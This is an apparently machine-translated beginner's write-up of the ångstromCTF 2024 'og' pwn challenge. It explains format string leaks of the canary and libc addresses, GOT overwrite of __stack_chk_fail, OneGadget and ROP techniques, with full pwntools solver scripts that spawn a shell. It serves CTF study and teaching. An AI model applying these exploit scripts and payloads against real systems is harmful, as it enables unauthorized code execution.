\n\nThis page has been machine-translated from the original page.
\n
I recently started studying Pwn.
\nThis time, while receiving advice from our team’s Pwn specialist, I worked through ångstromCTF 2024’s “og” challenge to learn about Format String Attacks and ROP techniques. I’m writing this up as a beginner’s guide to Pwn.
\n\n\n\nonly the ogs remember go
\n
The challenge binary (ELF) provided for this problem is composed mainly of two functions: main and go.
Below are the decompilation results for each function.
\nint64_t go()\n{\n void* fsbase;\n int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);\n setbuf(stdin, nullptr);\n setbuf(stdout, nullptr);\n setbuf(stderr, nullptr);\n printf(\"kill $PPID; Enter your name: \");\n void var_38;\n fgets(&var_38, 0x42, stdin);\n printf(\"Gotta go. See you around, \");\n printf(&var_38);\n if (rax == *(uint64_t*)((char*)fsbase + 0x28))\n {\n return (rax - *(uint64_t*)((char*)fsbase + 0x28));\n }\n __stack_chk_fail();\n /* no return */\n}\n\n\nint32_t main(int32_t argc, char** argv, char** envp)\n{\n go();\n return 0;\n}As you can see from the binary, this program has the Canary enabled.
\nAdditionally, PIE is disabled and RELRO (Relocation Read-Only) is Partial RELRO, so a GOT override appears relatively straightforward.
\nLet’s set a breakpoint at 0x401239 and debug with the input AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p.
b *0x401239\nr\n# Input: AAAABBBB_%p_%p_%p_%p_%p_%p_%p_%p_%p_%pThe output from printf was AAAABBBB_0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil)_0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f.
AAAABBBB is the raw input, but the range up to 0x7fffffffba20_(nil)_0x7ffff7e9a887_0x1a_(nil) contains the values of registers from RSI (the 2nd argument) to R9 in order. (With %p, zero values are displayed as (nil).)
After that, 0x4242424241414141_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0xa70255f70255f shows stack values in order.
Inspecting the stack area at RBP-0x30 and beyond in gdb at this point confirms that it matches the values leaked via printf.
\nIn most cases, you can also explicitly specify a particular argument position using the $ notation.
For example, supplying AAAABBBB_%6$p will print only the 6th value (the stack address where printf arguments are stored) via %6$p.
By applying this technique, you can also leak values at addresses far from the stack address where printf arguments are stored.
\nNext, let’s use FSB to leak the Canary value.
\nThe Canary is typically saved to the stack in each function’s prologue, so it is easy to leak via FSB.
\nIn this challenge binary, the Canary is stored at RBP-0x8 inside the go function.
Since %6$p can access RBP-0x30 (where our format string is stored), the stack area holding the Canary can be reached by adding (0x30-0x8)//0x8 = 5, giving %11$p.
By providing this input, we can successfully leak the Canary from the stack inside the go function. (The Canary value is randomized each time the program runs.)
However, in some situations — such as when BoF has already corrupted the stack — we may not be able to read the Canary from RBP-0x8 inside go.
The following shows an example where the output of %11$p is 0x4141414141414141 because the Canary has been overwritten.
This appears to be a residual value from when __libc_start_call_main (called before main) saved the Canary from TLS to the stack.
The Canary leaked this way will be used later when exploiting the BoF vulnerability.
\nNext, we’ll use FSB to leak a library function address and identify the libc version so we can later use ROP or OneGadget.
\nOne technique for leaking library function addresses via FSB is to leak the return address of __libc_start_main_ret that is held on the main function’s stack.
In this binary, the __libc_start_main_ret return address is recorded 16 bytes after the address where go’s return address is stored.
In other words, adding (0x30+0x8+0x10)//8 = 9 gives %15$p, which leaks the __libc_start_main_ret address.
This allows us to narrow down the libc version running on the challenge server to some extent.
\nIn this case, the Dockerfile was also provided, so we can confirm that the libc version is 2.35-0ubuntu3.6.
We’ve confirmed that FSB can leak the Canary and libc function addresses. However, in the current implementation of go, once the input is received and printed via printf, the program exits.
Since the binary running on the challenge server is not fork-based, and the Canary and library load addresses are randomized each run, we cannot chain the leaked data into an exploit as things stand.
\nTo work around this, we need to use techniques like BoF or GOT override to force the vulnerable input-accepting function to execute repeatedly.
\nAs confirmed earlier, this binary has PIE disabled and uses Partial RELRO, so a GOT override should be feasible.
\nLet’s identify a suitable target for the GOT override that we can use to re-execute the go function.
Of these targets, overriding __stack_chk_fail — which is called when the Canary is corrupted — lets us simultaneously re-execute go and prevent the process from terminating if BoF occurs.
To perform the GOT override via FSB, it is convenient to use pwntools’ fmtstr_payload.
However, our goal is not to be script kiddies, so let’s practice the FSB-based GOT override with a handmade payload.
\nAs summarized earlier, FSB uses the %n format specifier to overwrite a value at a memory address.
%n writes the number of characters printed by printf up to that point to the pointer argument.
For example, running the following code prints 5 on the line after ABCD:
#include <stdio.h>\nint main() {\n char* buf[10];\n printf(\"ABCDE%n\\n\", &buf);\n printf(\"%d\", buf[0]);\n return 0;\n}This is because ABCDE%n\\n stores the count of characters printed before %n (which is 5) into the address of buf.
By applying this specifier, FSB can write an arbitrary byte value to a specified pointer address.
\nSeveral techniques can be used for more flexible memory overwriting.
\nFirst, you can use a specifier like %100c.
Using %100c lets you write a specific value without actually providing 100 characters as arguments — simply outputting the specified amount of padding — so you can use a shorter notation like %100c%n to write a specific value.
Running the following code confirms that the value of buf is overwritten with 100. (Note: %100c itself also needs an additional argument.)
#include <stdio.h>\nint main() {\n int buf = 0;\n printf(\"%100c%n\\n\",NULL,&buf);\n printf(\"%d\", buf);\n return 0;\n}Also, %hhn writes 1 byte, %hn writes 2 bytes (short), and %n writes 4 bytes (int).
Detailed information on this behavior is hard to find, but it is likely achieved by the cast in the following section of printf:
\ncase 'n':\n ptr = va_arg(ap, void *);\n if(flags & LONGLONGFLAG)\n *(long long *)ptr = chars_written;\n else if(flags & LONGFLAG)\n *(long *)ptr = chars_written;\n else if(flags & HALFHALFFLAG)\n *(signed char *)ptr = chars_written;\n else if(flags & HALFFLAG)\n *(short *)ptr = chars_written;\n else if(flags & SIZETFLAG)\n *(size_t *)ptr = chars_written;\n else \n *(int *)ptr = chars_written;\n break;Reference: lib/libc/printf.c - kernel/lk - Git at Google
\nTesting with the following code confirms: with %hhn, only the lower 1 byte of buf is overwritten; with %hn, only the lower 2 bytes; and with %n, all bytes are overwritten.
#include <stdio.h>\nint main() {\n // 0xFFF -> 0xFF\n int buf = 0x0DDDDDDD;\n printf(\"%4095c%hhn\\n\",NULL,&buf);\n printf(\"%x\", buf);\n \n // 0xFFFFF -> 0xFFFF\n buf = 0x0DDDDDDD;\n printf(\"%1048575c%hn\\n\",NULL,&buf);\n printf(\"%x\", buf);\n \n // 0xFFFFFFFF\n buf = 0x0DDDDDDD;\n printf(\"%268435455c%n\\n\",NULL,&buf);\n printf(\"%x\", buf);\n\n return 0;\n}Also, as you can see when running this code, executing printf(\"%268435455c%n\\n\",NULL,&buf); outputs an enormous amount of padding.
Performing such an operation against a remote machine would generate hundreds of MB to several GB of network traffic, risking attack failure due to network load or payload send delays.
\nTherefore, unless there are input-size restrictions that prevent it, it is better to overwrite memory in short or byte units.
\nNote: pwntools’ fmtstr_payload defaults to write_size='byte'.
def fmtstr_payload(offset, writes, numbwritten=0, write_size='byte', write_size_max='long', overflows=16, strategy=\"small\", badbytes=frozenset(), offset_bytes=0, no_dollars=False)Now let’s create a payload to redirect the __stack_chk_fail GOT so that the go function is called when the Canary is corrupted.
The GOT address of __stack_chk_fail is 0x404018, and the call address of go is 0x401196.
Let’s first try the following payload:
\n%4198806c%8$n\\x90\\x90\\x90\\x18@@\\x00\\x00\\x00\\x00\\x00This payload consists of: <0x401196 bytes of padding> + <write as int to the pointer held by the 7th stack argument> + <alignment padding> + p64(0x401196).
Sending this payload to the binary confirms that the GOT address pointed to by __stack_chk_fail has been successfully overwritten to 0x401196.
So the user only needs to supply As confirmed earlier, the The GOT address of Given this information, the following script easily generates a payload for the GOT override: Running this script generates the following payload: In this payload, The reason Also, unlike the handmade payload — which sorts writes from smallest value to largest — the This likely exploits the property of As a result, even if Comparing such a refined script-generated payload with a handmade one is a great learning exercise for understanding the tool’s design choices. Having successfully leaked the libc base address and performed the GOT override via FSB, we can now obtain a shell for this challenge. To get a shell using these two techniques, I’ll use Reference: david942j/one_gadget: The best tool for finding one gadget RCE in libc.so.6 First, copy the same-version Then run the following command to identify the one-gadget RCE address: Running this command produces the following output: Using the libc address leaked via FSB, the GOT override, and this OneGadget, the following solver obtains a shell: In the First stage, the handmade payload simultaneously overrides the GOT address of The reason for using a handmade payload rather than If you prepend Also, Therefore, First stage uses a handmade payload to simultaneously perform the GOT override and the libc address leak. In the subsequent Second stage, the libc base address derived from the leaked address is combined with the OneGadget offset Note that Specifying Running this script fires the OneGadget RCE embedded in It is of course possible to concatenate arbitrary format specifiers to a For this challenge binary, the following script creates a payload that simultaneously leaks the libc address and performs the GOT override: Here, the 8-byte string Because prepending Since This way — with a bit of effort — arbitrary format specifiers can be appended to a The reason Although Solution 1 with OneGadget successfully obtained the shell and the Flag, I’d like to try an alternative approach: obtaining a shell via ROP. To perform ROP, you generally need to complete the following steps: In this section, I’ll work through each of these steps using the same First, let’s bypass the Canary. We already practiced leaking the Canary via FSB, but let’s create a new payload adjusted to leak both the libc address and the Canary simultaneously while also performing the GOT override: The reason By adjusting the payload sent to the second invocation of In practice, adjusting the payload as follows confirms that we can overwrite the return address without destroying the Canary: So I’ll gather gadgets from this library file that can be used in the ROP chain. One of the most typical and simple ROP chains looks like this: Using a tool like ropr, we can easily extract the gadgets needed for this ROP chain from the library file: However, the problem here is that Since Canary plus Saved RBP takes up 0x30+0x8 bytes, there are only 10 bytes of space left for BoF — not nearly enough to embed a ROP chain. So we need to find a way to work around the input constraint. In this case, Options include finding a gadget that can directly spawn a shell (like OneGadget RCE), or allocating a sufficiently large buffer elsewhere and jumping into it. As already confirmed, the GOT override causes Using this, the stack frame of the previous The one hurdle is that when embedding a ROP gadget into the Return Address via BoF, the 2 bytes at the next stack location (previous Because of this corruption, we need a way to skip over the problematic For example, in this binary, executing a gadget containing an appropriate Using this approach to work around the input constraint and execute the ROP chain from In the First stage, the libc base address and Canary are leaked. In the Second stage, a ROP chain is embedded in the region at In the Third stage, This successfully obtained the shell and the Flag using ROP. A technique using When using Reference: Imaginary CTF 2024 - ropity A technique using ROP to embed arbitrary shell code into memory space. Reference: A Beginner CTFer’s Pwn Crash Course 2 - seccomp Bypass and Shell Code Basics - I had been feeling stuck with Rev lately, so I started studying Pwn in earnest. By spending time working through FSB and ROP in depth, I feel I’ve gained insights that I can apply going forward.offset (the position of the topmost accessible stack address relative to the format specifier) and writes (a dictionary of address-value pairs to overwrite) to exploit FSB easily.offset for the topmost accessible stack argument in this binary’s FSB exploit is 6.__stack_chk_fail is 0x404018, and the call address of go is 0x401196.fmtstr_payload(offset=6, writes={elf.got[\"__stack_chk_fail\"]:0x401196})b'%150c%11$lln%123c%12$hhn%47c%13$hhnaaaab\\x18@@\\x00\\x00\\x00\\x00\\x00\\x19@@\\x00\\x00\\x00\\x00\\x00\\x1a@@\\x00\\x00\\x00\\x00\\x00'%150c%11$lln first writes 0x96 to 0x404018.%lln is used despite the default write_size being byte is likely to flush any other data at the target memory by writing 0x96 as a long long type.fmtstr_payload-generated payload writes 1 byte at a time from 0x404018 to 0x40401a in order.%hhn that bytes beyond the lower 1 byte are ignored.0x96 is written first, additional output can bring the count to 0x111 or 0x140, effectively writing 0x96, 0x11, and 0x40 in sequence.Solution 1: Get a Shell with OneGadget
\none_gadget — introduced in the security CTF book “詳解セキュリティコンテスト” — for a one-gadget RCE.libc.so.6 file (/srv/usr/lib/x86_64-linux-gnu/libc.so.6) from the container built using the provided Dockerfile to your local machine.# sudo gem install one_gadget\none_gadget ./libc.so.6from pwn import *\n\n# Set target\nTARGET_PATH = \"./og\"\nelf = context.binary = ELF(TARGET_PATH)\n\n# target = process(TARGET_PATH)\ntarget = remote(\"challs.actf.co\", 31312)\n\n# Exploit\n# First stage\ntarget.recvuntil(b\"Enter your name: \")\npayload = b\"%64c%11$hn%4438c%10$hn%15$p\" + b\"\\x90\"*5 + p64(0x404018) + p64(0x40401a)\ntarget.sendline(payload)\n\nr = target.recvuntil(b\"Enter your name: \")\nl1 = len(b\"0x7f4dfd768d90\\x90\\x90\\x90\\x90\\x90\\x18@@kill $PPID; Enter your name: \")\nl2 = len(b\"\\x90\\x90\\x90\\x90\\x90\\x18@@kill $PPID; Enter your name: \")\nleaked_libc_main_ret = int(r[-l1:-l2].decode(),16)\nleaked_libc_base = leaked_libc_main_ret - 0x029d90\nprint(hex(leaked_libc_main_ret))\n\n# Second stage\npayload = fmtstr_payload(offset=6, writes={elf.got[\"__stack_chk_fail\"]:leaked_libc_base+0xebc85},write_size=\"short\")\ntarget.sendline(payload)\n\ntarget.clean()\ntarget.interactive()__stack_chk_fail to the go function’s call address and leaks the __libc_start_main_ret address.fmtstr_payload here is that appending an arbitrary format specifier (%15$p) to a fmtstr_payload-generated payload is cumbersome.%15$p to the fmtstr_payload-generated payload, you need to adjust the stack position, output character count, and padding — making it nearly as much work as handcrafting from scratch.fmtstr_payload-generated payloads typically contain \\x00, causing printf to stop printing everything after that point, so appending %15$p after the payload would prevent the address leak.0xebc85 and embedded into the GOT address of __stack_chk_fail. (The first address from one_gadget did not satisfy the conditions, so the second address 0xebc85 is used.)write_size=\"short\" is specified here because using the default byte size would result in a payload of 0x78 bytes, exceeding the 0x42-byte input limit.write_size=\"short\" reduces the payload to 0x40 bytes.__stack_chk_fail’s GOT during Second stage, obtaining a shell.Bonus: Concatenating Arbitrary Format Specifiers to fmtstr_payload
\nfmtstr_payload-generated payload.payload = b\"%15$pAAA\" + fmtstr_payload(offset=7, numbwritten=17, writes={elf.got[\"__stack_chk_fail\"]:0x401196},write_size=\"short\")b\"%15$pAAA\" (including padding for stack alignment) is prepended to the fmtstr_payload-generated payload.%15 shifts the stack position by 8 bytes, the offset is changed from 6 to 7.b\"%15$pAAA\" is expected to print 17 characters (0x7f4dfd768d90AAA), numbwritten is set to 17.fmtstr_payload-generated payload.b'%15$pAAA%4485c%11$lln%170c%12$hhnaaaabaa\\x18@@\\x00\\x00\\x00\\x00\\x00\\x1a@@\\x00\\x00\\x00\\x00\\x00'write_size=\"short\" is also added here is the same as in the Second stage payload — to fit within the 0x42-byte input constraint.ROP and Canary Bypass in Practice
\n\n
\nog binary.Performing a Canary Bypass
\npayload = b\"%15$p %33$pAAAAA\" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got[\"__stack_chk_fail\"]:0x401196},write_size=\"short\")%33$p is used for the Canary leak is — as shown in the earlier section — to leak the complete Canary from a deeper stack location in a single FSB exploit, even while corrupting go’s stack.go so that the leaked Canary lands at RBP-0x8, we can trigger BoF without corrupting the Canary.target.recvuntil(b\"Enter your name: \")\npayload = b\"%15$p %33$pAAAAA\" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got[\"__stack_chk_fail\"]:0x401196},write_size=\"short\")\ntarget.sendline(payload)\n\nr = target.recvuntil(b\"Enter your name: \")\nl = len(b\"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900\")\nleaked_libc_main_ret = int(r[:l].decode().split(\" \")[5],16)\nleaked_libc_base = leaked_libc_main_ret - 0x029d90\nleaked_canary = int(r[:l].decode().split(\" \")[6],16)\n\ntarget.sendline(b\"A\"*(0x30-0x8) + p64(leaked_canary) + b\"B\"*(0x42-0x30))payload += flat(\n pop_rdi_ret,\n binsh_addr,\n system_addr\n)pop_rdi_ret = leaked_libc_base + 0x1bbea1\nbinsh_addr = leaked_libc_base + 0x1d8678\nret = leaked_libc_base + 0x1bc065\nsystem_addr = leaked_libc_base + 0x50d70Working Around Input Constraints
\ngo limits input to 0x42 bytes.go’s BoF can only execute a single ROP gadget.go to be called again whenever the Canary is corrupted.go invocation can serve as storage for the ROP chain:| $RBP-0x30 |\n| $RBP-0x28 |\n| $RBP-0x20 |\n| $RBP-0x18 |\n| $RBP-0x10 |\n| $RBP-0x8 | <- Canary\n| $RBP-0x0 | <- Saved RBP\n| $RBP+0x8 | <- Return Address\n| $RBP+0x10 | <- Previous go's $RBP-0x30 (only 2 bytes can overflow here)\n| $RBP+0x18 | <- Previous go's $RBP-0x28go’s $RBP-0x30) will be corrupted.$RBP+0x10 stack entry when executing the ROP chain embedded in the previous go’s stack frame.pop instruction allows us to remove that stack entry from the top of the stack, after which we can execute the ROP chain embedded at $RBP+0x18 and beyond — effectively bypassing the constraint.Solution 2: Get a Shell with ROP
\n$RBP+0x18 onward, I prepared the following payload:from pwn import *\n\n# Set context\n# context.log_level = \"debug\"\ncontext.arch = \"amd64\"\ncontext.endian = \"little\"\ncontext.word_size = 64\n\n# Set target\nTARGET_PATH = \"./og\"\nelf = context.binary = ELF(TARGET_PATH)\n\ntarget = remote(\"challs.actf.co\", 31312)\n\n# Exploit\n# First stage\ntarget.recvuntil(b\"Enter your name: \")\n# payload = b\"%64c%11$hn%4438c%10$hn%15$p\" + b\"\\x90\"*5 + p64(0x404018) + p64(0x40401a)\npayload = b\"%15$p %33$pAAAAA\" + fmtstr_payload(offset=8, numbwritten=38, writes={elf.got[\"__stack_chk_fail\"]:0x401196},write_size=\"short\")\ntarget.sendline(payload)\n\nr = target.recvuntil(b\"Enter your name: \")\nl = len(b\"Gotta go. See you around, 0x7ffff7dafd90 0x952782961e0ba900\")\nleaked_libc_main_ret = int(r[:l].decode().split(\" \")[5],16)\nleaked_libc_base = leaked_libc_main_ret - 0x029d90\nleaked_canary = int(r[:l].decode().split(\" \")[6],16)\n\npop_rdi_ret = leaked_libc_base + 0x1bbea1\nbinsh_addr = leaked_libc_base + 0x1d8678\nret = leaked_libc_base + 0x1bc065\nsystem_addr = leaked_libc_base + 0x50d70\n\n# Second stage\npayload = flat(\n b\"A\"*8,\n pop_rdi_ret,\n binsh_addr,\n ret,\n system_addr,\n b\"B\"*0x10\n)\ntarget.sendline(payload)\n\n# Third stage\ntarget.recvuntil(b\"Enter your name: \")\npayload = flat(\n b\"A\"*(0x30-0x8),\n leaked_canary,\n b\"B\"*8,\n pop_rdi_ret\n)\ntarget.sendline(payload)\n\ntarget.clean()\ntarget.interactive()$RBP-0x28 and beyond, and the Canary is intentionally corrupted.pop rdi; ret is used as the single embeddable ROP gadget to remove $RBP+0x10 from the stack top, then the ROP chain embedded at $RBP-0x28 and beyond is executed to obtain a shell.Other ROP Techniques
\nROP Technique Using RBP Replacement
\npop rbp to replace RBP, allowing RDI to be controlled even without a pop rdi gadget.pop rbp, care must be taken with how leave is handled.Embedding Shell Code
\nSummary
\n